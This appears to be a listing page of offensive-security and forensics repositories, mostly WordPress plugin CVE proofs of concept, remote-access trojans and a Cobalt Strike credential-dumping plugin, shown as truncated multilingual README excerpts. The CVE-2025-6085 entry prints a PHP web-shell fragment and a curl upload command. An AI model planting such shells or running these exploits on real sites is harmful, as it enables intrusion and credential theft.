nox-framework

███╗ ██╗ ██████╗ ██╗ ██╗ ████╗ ██║██╔═══██╗╚██╗██╔╝ ██╔██╗ ██║██║ ██║ ╚███╔╝ ██║╚██╗██║██║ ██║ ██╔██╗ ██║ ╚████║╚██████╔╝██╔╝ ██╗ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ サイバー脅威インテリジェンスフレームワーク レッドチーム、デジタルフォレンジック、および企業露出分析のためのOSINTフレームワーク。 はじめに...

CVE-2024-3293-Poc

CVE-2024-3293-Poc rtMedia for WordPress, BuddyPress and bbPress get \buddypress-media\app\helper\RTMediaModel.php:61 RTMediaModel-getmedia \buddypress-media\app\helper\RTMediaModel.php:227 RTMediaQuery-populatemedia \buddypress-media\app\main\routers\query\RTMediaQuery.php:869...

aggrokatz

aggrokatz 이게 뭔가요? aggrokatz는 CobaltStrike용 Aggressor 플러그인 확장 프로그램으로, pypykatz가 원격으로 비콘과 인터페이스할 수 있게 해줍니다. 현재 버전의 aggrokatz는 pypykatz가 LSASS 덤프 파일과 레지스트리 하이브 파일을 파싱하여 자격 증명 및 기타 저장된 비밀을 추출할 수 있도록 하며, 파일을 다운로드하거나 비콘에 의심스러운 코드를 업로드하지 않고도 수행합니다 어차피 Cobalt Strike는 이미 설치되어 있습니다. 향후 이 프로젝트는 모든 DPAPI 비밀 ...

CVE-2024-9234

CVE-2024-9234 GutenKit 2.1.0以下 - 認証なし任意ファイルアップロード 説明 WordPress用プラグイン「GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor」は、バージョン2.1.0以下において、installandactivatepluginfromexternal関数（install-active-plugin REST...

DuplexSpyCS

DuplexSpy DuplexSpyCS（CSはCSharpの略）は、C/SベースのオープンソースRATです。 継続的に更新中: Branch-Version2.1.0 ドキュメント オンラインドキュメントはこちら: DuplexSpy ファイルレス実行 DLLおよびシェルコードインジェクターとローダー リモートプラグイン プロキシ はじめに DuplexSpyは、攻撃的なセキュリティ技術を学ぶためのオープンソースのWindows RATです。...

community

コミュニティ コミュニティによって開発・保守されているVolatilityプラグインです。各作者のサブディレクトリ内のREADMEファイルを参照してください。そこには、それぞれのGitHubプロフィールページへのリンクが記載されており、プラグインの使用方法、依存関係、ライセンス情報、今後のアップデート情報を確認できます。 使用方法 1. VolatilityリポジトリをGit cloneするか、リリースをダウンロードします。 2. このリポジトリを$PLUGINSPATHにGit cloneします。 3...

idaguides

IDA 가이드 IDA 디컴파일러 뷰에 들여쓰기 가이드를 추가하는 작은 플러그인입니다. 설치 1. 이 저장소를 클론하거나 다운로드합니다. 2. 내용물을 IDA plugins 디렉토리에 압축 해제합니다. 3. IDA를 재시작합니다. 테스트 환경 IDA 9.2, 9.3...

CVE-2026-57811

CVE-2026-57811 — Realtyna Organic IDX + WPL Real Estate 未認証RCE -red.svg 重大な未認証リモートコード実行（CVSS 10.0）— Realtyna Organic IDX + WPL Real Estate ≤ 5.2.0 このツールは、Realtyna Organic IDX + WPL Real Estate WordPressプラグインのCVE-2026-57811 を悪用します。これは、未認証の攻撃者...

CVE-2025-34085

CVE-2025-34085 — WordPress Simple File List 인증되지 않은 RCE 익스플로잇 CVE-2025-34085 에 대한 자동화된 익스플로잇 및 스캐너로, WordPress Simple File List 플러그인의 심각한 취약점으로, 임의 파일 업로드 및 이름 변경 기능을 통해 인증되지 않은 원격 코드 실행 을 가능하게 합니다. 📄 CVE 요약 CVE ID: CVE-2025-34085 영향받는 구성 요소: WordPress 플러그인 — Simple File List 취약점 유형: 인증되지 않은 파일 업...

CVE-2024-8353-PoC

CVE-2024-8353 の概念実証コード このリポジトリには、WordPress用GiveWPプラグインのCVE-2024-8353脆弱性を悪用するためのスクリプトが含まれています。この脆弱性により、認証されていないPHPオブジェクトインジェクションが可能となり、リモートコード実行につながる可能性があります。 概要 提供されるスクリプトは、脆弱性の悪用を実証します。 Pythonスクリプト : 脆弱なフォームの特定、ノンスの取得、ペイロードの配信を自動化し、脆弱性をトリガーします。 PHPスクリプト : 逆シリアル化攻撃のメカニズムを示すために作成されたペイロードとして機能します。...

macSubstrate

 macSubstrate - macOS용 Substrate macSubstrate 는 macOS에서 프로세스 간 코드 인젝션을 위한 플랫폼 도구로, iOS의 Cydia Substrate와 유사한 기능을 제공합니다. macSubstrate를 사용하면 플러그인.bundle 또는 .framework을 Mac 앱샌드박스 앱 포함에 주입하여 런타임에 트윅할 수 있습니다. 필요한 것은 대상 앱의 플러그인을 얻거나 생성하는 것뿐입니다. 원본 대상 앱을 수정하거나 코드사인할 필요가 없습니다. 대상 앱이 업데이트된 후에도 추가 작업이 필요...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ アップロードフォルダに配置されたシェルを利用します...

CVE-2023-2877

CVE-2023-2877 Formidable Forms 6.3.1 - Subscriber+ リモートコード実行 使用方法 usage: CVE-2023-2877.py -h -w URL -u USERNAME -p PASSWORD -pl PLUGIN -c CMD CVE-2023-2877 - Formidable Forms 6.3.1 - Subscriber+ Remote Code Execution Script options: -h, --help show this help message and exit -w URL, --url URL...

wp-file-manager-0day

CVE-2020-25213 wp-file-manager 6.7 2020年8月20日 WordPress プラグイン 0day elFinderの脆弱性はよく知られた脆弱性です。私のスクリプトはパスを "/wp-content/plugins/wp-file-manager/" に変更するだけです。私にスクリプトの修正やその他の修正を要求するのはやめろ。RTFM... 参照： https://www.exploit-db.com/exploits/46481 https://www.exploit-db.com/exploits/46539...

CVE-2023-5412

CVE-2023-5412 Image horizontal reel scroll slideshow = 13.2 - 認証済み（購読者+）ショートコード経由のSQLインジェクション 説明: WordPress用プラグイン「Image horizontal reel scroll...

CVE-2026-18366

CVE-2026-18366 Events Manager 7.4.1 - 未認証ユーザーによる管理者権限への権限昇格 🔗 最新情報 最新のゼロデイ、エクスプロイト、セキュリティ研究をお届けします 📋 脆弱性の概要 属性| 詳細 ---|--- CVE ID| CVE-2026-18366 重要度| 🔴 CRITICAL CVSS 9.8 プラグイン| Events Manager for WordPress 影響を受けるバージョン| 7.4.1 脆弱性の種類| 未認証の権限昇格 攻撃経路| ネットワーク 認証要件| なし 🔍 技術的説明 根本原因の分析 この脆弱性は...

CVE-2024-2876

CVE-2024-2876 - Email Subscribers by Icegram Express における SQL インジェクションの脆弱性 概要 CVE-2024-2876 は、WordPress 用プラグイン「Email Subscribers by Icegram Express」で発見された重大なセキュリティ脆弱性です。この脆弱性は 5.7.14 以前のすべてのバージョンに影響し、90,000 以上のウェブサイトに重大なリスクをもたらします。 脆弱性の詳細 CVE-ID : CVE-2024-2876 CVSS スコア : 9.8（緊急） 影響を受けるバージョン :...

DesckVB-RAT

DesckVB RAT v2.9 — モジュラー .NET RAT、多段階配信 & プラグインエコシステム “Pjoao1578” へのツールチェーン関連性 作者: ShadowOpCode X/Twitter: https://x.com/ShadowOpCode このリポジトリは、DesckVB RAT （2026年初頭の実際のキャンペーンで観測されたモジュラー .NET リモートアクセス型トロイの木馬 ）を中心としたアクティブなマルウェアエコシステム を文書化した、完全な技術レポートに付随するものです。...

CVE-2022-0441

在 WordPress 上的 MasterStudy LMS Plugin（WordPress 插件）2.7.5 及之前版本中发现了一个被归类为严重的漏洞。该漏洞影响 New Account Handler 组件的某个未知部分。对未知输入进行操纵会导致权限管理漏洞。该漏洞的 CWE 定义为 CWE-269。该软件未能正确地为参与者分配、修改、跟踪或检查权限，从而为该参与者创建了非预期的控制范围。已知其影响会危害机密性、完整性和可用性。 该弱点于 03/07/2022 以编号 2667195 披露。公告可在 wpscan.com 获取。该漏洞自 02/01/2022 起被命名为...

CVE-2021-25003

CVE-2021-25003 Title: WPCargo 6.9.0 - Unauthenticated RCE Author: Krzysztof Zając https://kazet.cc/ CVE: CVE-2021-25003 インストール git clone https://github.com/biulove0x/CVE-2021-25003.git cd CVE-2021-25003/ python3 -m pip install -r requirements.txt 自動エクスプロイトの実行方法 $ python3 WpCargo.py --help @author...